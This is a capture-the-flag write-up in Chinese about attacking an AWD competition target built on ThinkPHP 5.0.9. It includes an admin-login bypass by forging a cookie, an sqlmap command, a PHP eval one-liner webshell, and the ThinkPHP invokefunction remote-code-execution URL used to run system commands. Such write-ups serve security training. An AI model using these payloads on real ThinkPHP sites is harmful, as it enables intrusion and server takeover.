题目描述

防灾科技学院 “应急挑战杯” 大学生网络安全邀请赛 AWD 靶机题目。本题不是黑盒,而是有本地源码的,可以白盒审计。

Solution

打开题目发现是一个类似论坛的地方:

0-1.png

从图中我们发现有 2 个地方可能存在漏洞,一个是文件上传,另一个是搜索框可能存在 SQL 注入。

我们使用 dirsearch 扫描目录,可以发现一些线索:

0-2.png

验证登陆模块

我们尝试访问/admin/?/login,页面会跳转到登陆的地方,但会有报错信息:

1-1.png

在这里我们发现了 ThinkPHP 的版本是5.0.9。我们可以在源代码的application/admin/controller/Base.php找到相关逻辑:

1-2.png

我们可以到尝试在 Cookie 中加上csrf_token参数,在 Kali 下用

  1. echo -n "qwertyuiop" | md5sum

算出我们要的 MD5 值是6eea9b7ef19179a06954edd0f6c05ceb。现在用 Burpsuite 拦截请求,修改 Cookie 的值,然后放行数据包:

1-3.png

我们可以看到浏览器那边已经登陆到了后台:

1-4.png

我们尝试做其它操作,但每次都需要在 Cookie 添加csrf_token=6eea9b7ef19179a06954edd0f6c05ceb参数来进入页面。

转悠了一圈没发现什么有用的东西。

验证 SQL 注入

我们先尝试输入一个1,观察到题目是通过 URL 传递参数的:

2-1.png

我们直接 SQLMap 一把梭看看能跑出什么东西:

  1. sqlmap -u "http://www.bmzclub.cn:24130/index/Search/index.html?keywords=1" --batch --threads 4 --dbs

2-2.png

很遗憾的是 SQLMap 似乎没有发现明显的 SQL 注入漏洞,有可能后端加了参数过滤,我们需要额外使用 tamper 脚本。我们暂时放弃这一路径。

验证文件上传

我们在/public目录下发现了.htaccess文件:

3-1.png

这里它把文件名带ico的文件都当作 PHP 脚本执行。

我们编写一句话木马,重命名为ico.png

  1. GIF8
  2. <?php @eval($_POST['banana]);?>

把它上传到服务器:

3-2.png

我们发现后端会对文件重命名,为了达到 htaccess 文件的要求,我们重命名一句话木马为:shell.ico.png,再上传一次,但这样会导致文件后缀解析错误。由于上传的时候路径不是我们可控的,这就无法使用 00 截断。

所以这条路暂时先放弃。

验证框架漏洞

我们前面发现了 ThinkPHP 的版本是5.0.9,众所周知 ThinkPHP 是有很多框架漏洞的,我们可以尝试使用框架漏洞。

我们在 Kali 下输入下列命令可以获得相关漏洞信息:

searchsploit thinkphp

4-1.png

然后使用cat /usr/share/exploitdb/exploits/php/webapps/46150.txt阅读相关信息,我们这里选取第 6 个 POC 去试一试:

4-2.png

http://www.bmzclub.cn:24130/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls

4-3.png

我们发现有一个hint.php文件,看看它是什么内容:

http://www.bmzclub.cn:24130/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat hint.php | base64

4-4.png

解码得到的结果:

4-5.png

这是现成的 WebShell,我们尝试用哥斯拉连接:

4-6.png

最后我们在/目录下找到 Flag 文件:

4-7.png

参考资料